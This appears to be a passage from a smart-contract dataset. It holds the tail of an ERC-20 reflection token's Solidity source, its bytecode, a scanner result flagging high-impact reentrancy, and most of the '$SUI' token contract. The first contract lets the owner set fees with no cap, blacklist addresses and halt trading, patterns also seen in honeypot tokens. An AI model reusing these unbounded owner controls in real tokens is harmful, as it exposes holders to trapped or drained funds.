address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b41146101fe57806398a5c3151461047f57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611932565b6105ca565b005b34801561020a57600080fd5b50604080518082018252600781526643756c74616d6160c81b6020820152905161023491906119f7565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a4c565b610669565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b506901696695dbd1a46e24005b604051908152602001610234565b3480156102d857600080fd5b5061025d6102e7366004611a78565b610680565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610234565b34801561032a57600080fd5b5060155461028d906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ab9565b6106e9565b34801561036a57600080fd5b506101fc610379366004611ae6565b610734565b34801561038a57600080fd5b506101fc61077c565b34801561039f57600080fd5b506102be6103ae366004611ab9565b6107c7565b3480156103bf57600080fd5b506101fc6107e9565b3480156103d457600080fd5b506101fc6103e3366004611b01565b61085d565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ab9565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028d565b34801561045557600080fd5b506101fc610464366004611ae6565b61088c565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506101fc61049a366004611b01565b6108d4565b3480156104ab57600080fd5b506101fc6104ba366004611b1a565b610903565b3480156104cb57600080fd5b5061025d6104da366004611a4c565b610941565b3480156104eb57600080fd5b5061025d6104fa366004611ab9565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc61094e565b34801561053057600080fd5b506101fc61053f366004611b4c565b6109a2565b34801561055057600080fd5b506102be61055f366004611bd0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611b01565b610a43565b3480156105b657600080fd5b506101fc6105c5366004611ab9565b610a72565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611c09565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611c3e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611c6a565b915050610600565b5050565b6000610676338484610b5c565b5060015b92915050565b600061068d848484610c80565b6106df84336106da85604051806060016040528060288152602001611d84602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bc565b610b5c565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611c09565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075e5760405162461bcd60e51b81526004016105f490611c09565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b157506013546001600160a01b0316336001600160a01b0316145b6107ba57600080fd5b476107c4816111f6565b50565b6001600160a01b03811660009081526002602052604081205461067a90611230565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016105f490611c09565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105f490611c09565b601655565b6000546001600160a01b031633146108b65760405162461bcd60e51b81526004016105f490611c09565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016105f490611c09565b601855565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016105f490611c09565b600893909355600a91909155600955600b55565b6000610676338484610c80565b6012546001600160a01b0316336001600160a01b0316148061098357506013546001600160a01b0316336001600160a01b0316145b61098c57600080fd5b6000610997306107c7565b90506107c4816112b4565b6000546001600160a01b031633146109cc5760405162461bcd60e51b81526004016105f490611c09565b60005b82811015610a3d5781600560008686858181106109ee576109ee611c3e565b9050602002016020810190610a039190611ab9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3581611c6a565b9150506109cf565b50505050565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105f490611c09565b601755565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105f490611c09565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b156110b557601554600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b601654811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0157506001600160a01b03821660009081526010602052604090205460ff16155b610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b03838116911614610fde5760175481610f7b846107c7565b610f859190611c85565b10610fde5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000610fe9306107c7565b6018546016549192508210159082106110025760165491505b8080156110195750601554600160a81b900460ff16155b801561103357506015546001600160a01b03868116911614155b80156110485750601554600160b01b900460ff165b801561106d57506001600160a01b03851660009081526005602052604090205460ff16155b801561109257506001600160a01b03841660009081526005602052604090205460ff16155b156110b2576110a0826112b4565b4780156110b0576110b0476111f6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f757506001600160a01b03831660009081526005602052604090205460ff165b8061112957506015546001600160a01b0385811691161480159061112957506015546001600160a01b03848116911614155b15611136575060006111b0565b6015546001600160a01b03858116911614801561116157506014546001600160a01b03848116911614155b1561117357600854600c55600954600d555b6015546001600160a01b03848116911614801561119e57506014546001600160a01b03858116911614155b156111b057600a54600c55600b54600d555b610a3d8484848461143d565b600081848411156111e05760405162461bcd60e51b81526004016105f491906119f7565b5060006111ed8486611c9d565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b60006006548211156112975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006112a161146b565b90506112ad838261148e565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fc576112fc611c3e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135057600080fd5b505afa158015611364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113889190611cb4565b8160018151811061139b5761139b611c3e565b6001600160a01b0392831660209182029290920101526014546113c19130911684610b5c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fa908590600090869030904290600401611cd1565b600060405180830381600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144a5761144a6114d0565b6114558484846114fe565b80610a3d57610a3d600e54600c55600f54600d55565b60008060006114786115f5565b9092509050611487828261148e565b9250505090565b60006112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611639565b600c541580156114e05750600d54155b156114e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151087611667565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154290876116c4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115719086611706565b6001600160a01b03891660009081526002602052604090205561159381611765565b61159d84836117af565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e291815260200190565b60405180910390a3505050505050505050565b60065460009081906901696695dbd1a46e2400611612828261148e565b821015611630575050600654926901696695dbd1a46e240092509050565b90939092509050565b6000818361165a5760405162461bcd60e51b81526004016105f491906119f7565b5060006111ed8486611d42565b60008060008060008060008060006116848a600c54600d546117d3565b925092509250600061169461146b565b905060008060006116a78e878787611828565b919e509c509a509598509396509194505050505091939550919395565b60006112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b6000806117138385611c85565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b600061176f61146b565b9050600061177d8383611878565b3060009081526002602052604090205490915061179a9082611706565b30600090815260026020526040902055505050565b6006546117bc90836116c4565b6006556007546117cc9082611706565b6007555050565b60008080806117ed60646117e78989611878565b9061148e565b9050600061180060646117e78a89611878565b90506000611818826118128b866116c4565b906116c4565b9992985090965090945050505050565b60008080806118378886611878565b905060006118458887611878565b905060006118538888611878565b905060006118658261181286866116c4565b939b939a50919850919650505050505050565b6000826118875750600061067a565b60006118938385611d64565b9050826118a08583611d42565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b803561192d8161190d565b919050565b6000602080838503121561194557600080fd5b823567ffffffffffffffff8082111561195d57600080fd5b818501915085601f83011261197157600080fd5b813581811115611983576119836118f7565b8060051b604051601f19603f830116810181811085821117156119a8576119a86118f7565b6040529182528482019250838101850191888311156119c657600080fd5b938501935b828510156119eb576119dc85611922565b845293850193928501926119cb565b98975050505050505050565b600060208083528351808285015260005b81811015611a2457858101830151858201604001528201611a08565b81811115611a36576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5f57600080fd5b8235611a6a8161190d565b946020939093013593505050565b600080600060608486031215611a8d57600080fd5b8335611a988161190d565b92506020840135611aa88161190d565b929592945050506040919091013590565b600060208284031215611acb57600080fd5b81356112ad8161190d565b8035801515811461192d57600080fd5b600060208284031215611af857600080fd5b6112ad82611ad6565b600060208284031215611b1357600080fd5b5035919050565b60008060008060808587031215611b3057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6157600080fd5b833567ffffffffffffffff80821115611b7957600080fd5b818601915086601f830112611b8d57600080fd5b813581811115611b9c57600080fd5b8760208260051b8501011115611bb157600080fd5b602092830195509350611bc79186019050611ad6565b90509250925092565b60008060408385031215611be357600080fd5b8235611bee8161190d565b91506020830135611bfe8161190d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7e57611c7e611c54565b5060010190565b60008219821115611c9857611c98611c54565b500190565b600082821015611caf57611caf611c54565b500390565b600060208284031215611cc657600080fd5b81516112ad8161190d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d215784516001600160a01b031683529383019391830191600101611cfc565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7e57611d7e611c54565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1976dc5865f54d753235fb7903444e732670cec61dc1df4f2597f9cd45750df64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,103 |
0x2cfb5c0286e789092164a3730c8ad03fbbeef1e6
|
/**
*Submitted for verification at Etherscan.io on 2021-10-03
*/
/**
$SUI: Sarada Uchita Inu!
Token Information
1. 1,000,000,000,000 Total Supply
3. NO DEV TOKENS, NO PRESALE TOKENS!
4. Developer provides LP! Liquidity locked before launch.
5. 20-second buy cooldown at launch, permanent 90-second sell cooldown
6. 1% max buy at launch, permanent 3,000,000,000 max sell (per transaction)
6. 6% redistribution to holders
7. Small tax on sells ( development and marketing)
Telegram: t.me/saradauchita
Website: www.saradauchita.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SUI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Sarada Uchita";
string private constant _symbol = "$SUI";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private buyCooldownEnabled = false;
bool private sellCooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setBuyCooldownEnabled(bool onoff) external onlyOwner() {
buyCooldownEnabled = onoff;
}
function setSellCooldownEnabled(bool onoff) external onlyOwner() {
sellCooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Too many tokens.");
// to buyer
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) {
require(tradingOpen, "Trading not yet enabled.");
require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
// from seller
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
require(amount <= 3e9 * 10**9);
if(sellCooldownEnabled) {
require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[from] = block.timestamp + (90 seconds);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
buyCooldownEnabled = true;
sellCooldownEnabled = true;
_maxTxAmount = 2e9 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxAmount(uint256 amount) external onlyOwner() {
require(amount > 0, "Amount must be greater than 0");
_maxTxAmount = amount;
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function maxTxAmount() public view returns (uint) {
return _maxTxAmount;
}
function sellCooldown() public view returns (bool) {
return sellCooldownEnabled;
}
function buyCooldown() public view returns (bool) {
return buyCooldownEnabled;
}
